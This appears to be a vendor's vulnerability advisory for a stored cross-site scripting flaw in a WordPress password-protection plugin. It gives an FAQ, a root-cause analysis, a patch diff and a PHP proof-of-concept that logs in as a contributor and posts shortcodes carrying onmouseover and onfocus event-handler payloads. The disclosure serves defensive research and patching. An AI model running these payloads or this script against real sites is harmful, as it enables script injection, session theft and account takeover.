What is CVE-2026-3639?

CVE-2026-3639 is a stored cross-site scripting (XSS) vulnerability in the PPWP Password Protect Pages plugin for WordPress. It allows authenticated users with contributor-level access or higher to inject malicious scripts via the plugin’s shortcode attributes. The vulnerability affects versions up to and including 1.9.21 and is fixed in version 1.9.22.

How does the stored XSS vulnerability work?

The vulnerability occurs because the plugin’s shortcode attributes, specifically ‘placeholder’ and ‘button’, are not properly escaped before being output. An attacker can craft a shortcode like [ppwp button=”onmouseover=alert(1)”] to inject JavaScript event handlers. When a user views the page containing the shortcode, the script executes in their browser, potentially leading to session hijacking or other malicious actions.

Who is affected by this vulnerability?

WordPress sites running PPWP Password Protect Pages version 1.9.21 or earlier are affected. The attack requires an authenticated user with at least contributor-level access. This means any user who can create or edit posts, such as contributors, authors, editors, and administrators, could exploit the vulnerability.

How can I check if my site is vulnerable?

Check the installed version of the PPWP plugin. If it is 1.9.21 or lower, your site is vulnerable. You can also review your site’s content for any suspicious shortcodes, especially those with unusual attributes like ‘onmouseover’ or ‘onfocus’. Additionally, you can use security scanners or manually inspect the plugin’s source code for the vulnerable code patterns.

What is the CVSS score and severity level?

The CVSS score is 6.4, which is considered medium severity. This indicates a moderate risk. The score reflects that the attack requires authentication and user interaction, but the impact can be significant, including data theft and account compromise. It is important to patch promptly to mitigate the risk.

How can I fix or mitigate the vulnerability?

The primary fix is to update the PPWP plugin to version 1.9.22 or later, which includes proper output escaping. If you cannot update immediately, you can temporarily disable the plugin or restrict contributor-level access. Additionally, you can use a Web Application Firewall (WAF) to filter malicious shortcode attributes, but updating is the recommended solution.

What does the proof of concept (PoC) demonstrate?

The PoC shows how an attacker with contributor credentials can log in to WordPress and create a post containing a malicious shortcode. The PoC uses the ‘button’ attribute to inject an onmouseover event handler. When the post is viewed, the script executes, demonstrating the stored XSS. This proves the vulnerability is exploitable and highlights the need for patching.

What is the root cause of the vulnerability?

The root cause is insufficient output escaping in the shortcode attribute handling. The ‘placeholder’ attribute is passed through functions like ‘_x()’ and ‘massage_attributes()’ without using ‘esc_attr()’. The ‘button’ attribute uses ‘wp_kses_post()’, which allows certain HTML tags but does not prevent JavaScript event handlers, and the result is not escaped. This allows malicious scripts to be stored and executed.

What are the potential impacts of exploitation?

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the injected page. This can lead to session token theft, account takeover for administrators, defacement of pages, and redirection of users to malicious sites. The attacker could also capture keystrokes or perform actions on behalf of the victim, severely compromising the site’s security.

Are there any workarounds if I cannot update the plugin?

If you cannot update immediately, you can temporarily disable the PPWP plugin to eliminate the vulnerability. Alternatively, you can restrict contributor-level access to trusted users only. You can also use a security plugin that adds a WAF to block malicious shortcode attributes, but these are temporary measures. Updating to version 1.9.22 is the only permanent fix.

How can I protect my site from similar vulnerabilities?

Regularly update all plugins and themes to their latest versions. Limit user roles and permissions to only what is necessary. Use security plugins that provide WAF and malware scanning. Educate users with contributor access about safe content creation. Additionally, audit your site’s content for any suspicious shortcodes or scripts, and consider using a content security policy (CSP) to mitigate XSS impacts.

Published : August 12, 2026

CVE-2026-3639: PPWP – Password Protect Pages <= 1.9.21 Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes PoC, Patch Analysis & Rule

Q: How does the patch fix the vulnerability?

The patch modifies the shortcode processing in class-ppw-shortcode.php. It wraps the output for both the ‘placeholder’ and ‘button’ attributes with the ‘esc_attr()’ function. This function HTML-encodes special characters, preventing them from being interpreted as active HTML or JavaScript. The patch also updates the plugin version to 1.9.22.

CVE ID CVE-2026-3639

Plugin password-protect-page

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 1.9.21

Patched Version 1.9.22

Disclosed August 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3639:
This vulnerability enables stored cross-site scripting (XSS) through the ‘ppwp’ shortcode in the PPWP – Password Protect Pages plugin, affecting versions up to and including 1.9.21. Authenticated users with contributor-level access can inject malicious scripts that execute when other users view the compromised page. The CVSS score is 6.4, indicating a medium severity threat.

Root Cause:
The root cause lies in the shortcode attribute handling within the class-ppw-shortcode.php file. Specifically, the ‘placeholder’ and ‘button’ attributes are processed without proper output escaping. In the vulnerable code, the ‘placeholder’ attribute is passed through the ‘_x()’ and ‘massage_attributes()’ functions without an escaping function like ‘esc_attr()’. Similarly, the ‘button’ attribute uses ‘wp_kses_post()’, which permits certain HTML tags but does not prevent the injection of JavaScript event handlers, and the result is not escaped with ‘esc_attr()’. This insufficient output sanitation allows an attacker to embed executable script content within these attributes.

Exploitation:
An attacker with contributor-level access can create or edit a post and insert a shortcode with malicious attributes. For the ‘button’ attribute, a payload such as `[ppwp button='” onmouseover=”alert(1)’]` could inject an event handler. Alternatively, for the ‘placeholder’ attribute, a payload like `[ppwp placeholder='” onfocus=”alert(1)’]` can be used. These payloads bypass the check for ‘wp_kses_post()’ because event handlers are not removed. When a user views the page, the injected script executes, leading to data theft or session hijacking.

Patch Analysis:
The patch modifies the shortcode processing in class-ppw-shortcode.php. It wraps the output for both the ‘placeholder’ and ‘button’ parameters with the ‘esc_attr()’ function. This function HTML-encodes special characters, preventing them from being interpreted as active HTML or JavaScript. The change occurs at lines 587 and 590 of the diff, transforming the values into safe, escaped strings before they are rendered in the form.

Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the injected page. This can lead to session token theft, account takeover for administrators, and the defacement of pages. The attacker could also potentially capture keystrokes or redirect users to malicious sites, severely compromising the integrity and security of the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/password-protect-page/includes/services/class-ppw-shortcode.php
+++ b/password-protect-page/includes/services/class-ppw-shortcode.php
@@ -584,9 +584,9 @@
 			$form_params = array(
 				PPW_Constants::SHORT_CODE_FORM_HEADLINE       => _x( $this->massage_attributes( $attrs['headline'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page'),
 				PPW_Constants::SHORT_CODE_FORM_INSTRUCT       => _x( $this->massage_attributes( $attrs['description'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page'),
-				PPW_Constants::SHORT_CODE_FORM_PLACEHOLDER    => _x( $this->massage_attributes( $attrs['placeholder'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page'),
+				PPW_Constants::SHORT_CODE_FORM_PLACEHOLDER    => esc_attr( _x( $this->massage_attributes( $attrs['placeholder'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page') ),
 				PPW_Constants::SHORT_CODE_FORM_AUTH           => $post_id,
-				PPW_Constants::SHORT_CODE_BUTTON              => _x( wp_kses_post( $attrs['button'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page'),
+				PPW_Constants::SHORT_CODE_BUTTON              => esc_attr( _x( wp_kses_post( $attrs['button'] ), PPW_Constants::CONTEXT_PCP_PASSWORD_FORM, 'password-protect-page') ),
 				PPW_Constants::SHORT_CODE_FORM_CURRENT_URL    => $this->get_the_permalink_without_cache( wp_rand( 0, 100 ) ),
 				PPW_Constants::SHORT_CODE_FORM_ID             => esc_attr( '' === $attrs['id'] ? get_the_ID() . wp_rand( 0, 1000 ) : wp_kses_post( $attrs['id'] ) ),
 				PPW_Constants::SHORT_CODE_FORM_CLASS          => esc_attr( $className ),
--- a/password-protect-page/wp-protect-password.php
+++ b/password-protect-page/wp-protect-password.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Password Protect WordPress Lite
  * Plugin URI:        https://passwordprotectwp.com?utm_source=user-website&utm_medium=pluginsite_link&utm_campaign=ppwp_lite
  * Description:       Password protect the entire WordPress site, unlimited pages and posts by user roles. This plugin is required for our Pro version to work properly.
- * Version:           1.9.21
+ * Version:           1.9.22
  * Author:            BWPS
  * Author URI:        https://passwordprotectwp.com
  * License:           GPL-2.0+
@@ -29,13 +29,8 @@
 	die;
 }

-/**
- * Currently plugin version.
- * Start at version 1.1.2 and use SemVer - https://semver.org
- * Rename this for your plugin and update it as you release new versions.
- */
 // phpcs:disable WordPress.NamingConventions.PrefixAllGlobals
-define( 'PPW_VERSION', '1.9.21' );
+define( 'PPW_VERSION', '1.9.22' );

 if ( ! defined( 'PPW_DIR_PATH' ) ) {
 	define( 'PPW_DIR_PATH', plugin_dir_path( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3639 - PPWP – Password Protect Pages <= 1.9.21 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

/**
 * Proof of Concept for CVE-2026-3639
 * 
 * This script demonstrates how an authenticated contributor can inject a stored XSS payload
 * via the 'ppwp' shortcode's 'button' attribute.
 * 
 * Usage: php poc.php
 */

$target_url = 'http://your-wordpress-site.com'; // Change this to the target site URL
$username = 'contributor_user'; // Change this to a contributor username
$password = 'contributor_password'; // Change this to the contributor's password

// 1. Login to WordPress to obtain auth cookies
$login_url = $target_url . '/wp-login.php';
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_exec($ch);
curl_close($ch);

// 2. Create a new post with the malicious shortcode
$post_url = $target_url . '/wp-admin/post-new.php';
$post_data = [
    'post_title' => 'CVE-2026-3639 PoC',
    'content' => '[ppwp button=' . '"' . '" onmouseover="alert(1)' . '"' . ']',
    'post_status' => 'pending', // set to pending to avoid direct public exposure, but can be changed to 'publish'
    'post_type' => 'post'
];

$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// 3. Check if the post was created successfully
if (strpos($response, 'Post published') !== false || strpos($response, 'Post submitted') !== false) {
    echo "[+] Post created successfully with XSS payload.n";
} else {
    echo "[-] Failed to create post. Check credentials or URL.n";
}

// Clean up cookies file
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

What is CVE-2026-3639?
Vulnerability overview
CVE-2026-3639 is a stored cross-site scripting (XSS) vulnerability in the PPWP Password Protect Pages plugin for WordPress. It allows authenticated users with contributor-level access or higher to inject malicious scripts via the plugin’s shortcode attributes. The vulnerability affects versions up to and including 1.9.21 and is fixed in version 1.9.22.
How does the stored XSS vulnerability work?
Technical mechanism
The vulnerability occurs because the plugin’s shortcode attributes, specifically ‘placeholder’ and ‘button’, are not properly escaped before being output. An attacker can craft a shortcode like [ppwp button=”onmouseover=alert(1)”] to inject JavaScript event handlers. When a user views the page containing the shortcode, the script executes in their browser, potentially leading to session hijacking or other malicious actions.
Who is affected by this vulnerability?
Affected users and roles
WordPress sites running PPWP Password Protect Pages version 1.9.21 or earlier are affected. The attack requires an authenticated user with at least contributor-level access. This means any user who can create or edit posts, such as contributors, authors, editors, and administrators, could exploit the vulnerability.
How can I check if my site is vulnerable?
Detection steps
Check the installed version of the PPWP plugin. If it is 1.9.21 or lower, your site is vulnerable. You can also review your site’s content for any suspicious shortcodes, especially those with unusual attributes like ‘onmouseover’ or ‘onfocus’. Additionally, you can use security scanners or manually inspect the plugin’s source code for the vulnerable code patterns.
What is the CVSS score and severity level?
Risk assessment
The CVSS score is 6.4, which is considered medium severity. This indicates a moderate risk. The score reflects that the attack requires authentication and user interaction, but the impact can be significant, including data theft and account compromise. It is important to patch promptly to mitigate the risk.
How can I fix or mitigate the vulnerability?
Remediation steps
The primary fix is to update the PPWP plugin to version 1.9.22 or later, which includes proper output escaping. If you cannot update immediately, you can temporarily disable the plugin or restrict contributor-level access. Additionally, you can use a Web Application Firewall (WAF) to filter malicious shortcode attributes, but updating is the recommended solution.
What does the proof of concept (PoC) demonstrate?
PoC explanation
The PoC shows how an attacker with contributor credentials can log in to WordPress and create a post containing a malicious shortcode. The PoC uses the ‘button’ attribute to inject an onmouseover event handler. When the post is viewed, the script executes, demonstrating the stored XSS. This proves the vulnerability is exploitable and highlights the need for patching.
What is the root cause of the vulnerability?
Underlying issue
The root cause is insufficient output escaping in the shortcode attribute handling. The ‘placeholder’ attribute is passed through functions like ‘_x()’ and ‘massage_attributes()’ without using ‘esc_attr()’. The ‘button’ attribute uses ‘wp_kses_post()’, which allows certain HTML tags but does not prevent JavaScript event handlers, and the result is not escaped. This allows malicious scripts to be stored and executed.
How does the patch fix the vulnerability?
Patch details
The patch modifies the shortcode processing in class-ppw-shortcode.php. It wraps the output for both the ‘placeholder’ and ‘button’ attributes with the ‘esc_attr()’ function. This function HTML-encodes special characters, preventing them from being interpreted as active HTML or JavaScript. The patch also updates the plugin version to 1.9.22.
What are the potential impacts of exploitation?
Consequences
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the injected page. This can lead to session token theft, account takeover for administrators, defacement of pages, and redirection of users to malicious sites. The attacker could also capture keystrokes or perform actions on behalf of the victim, severely compromising the site’s security.
Are there any workarounds if I cannot update the plugin?
Temporary mitigations
If you cannot update immediately, you can temporarily disable the PPWP plugin to eliminate the vulnerability. Alternatively, you can restrict contributor-level access to trusted users only. You can also use a security plugin that adds a WAF to block malicious shortcode attributes, but these are temporary measures. Updating to version 1.9.22 is the only permanent fix.
How can I protect my site from similar vulnerabilities?
General security practices
Regularly update all plugins and themes to their latest versions. Limit user roles and permissions to only what is necessary. Use security plugins that provide WAF and malware scanning. Educate users with contributor access about safe content creation. Additionally, audit your site’s content for any suspicious shortcodes or scripts, and consider using a content security policy (CSP) to mitigate XSS impacts.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started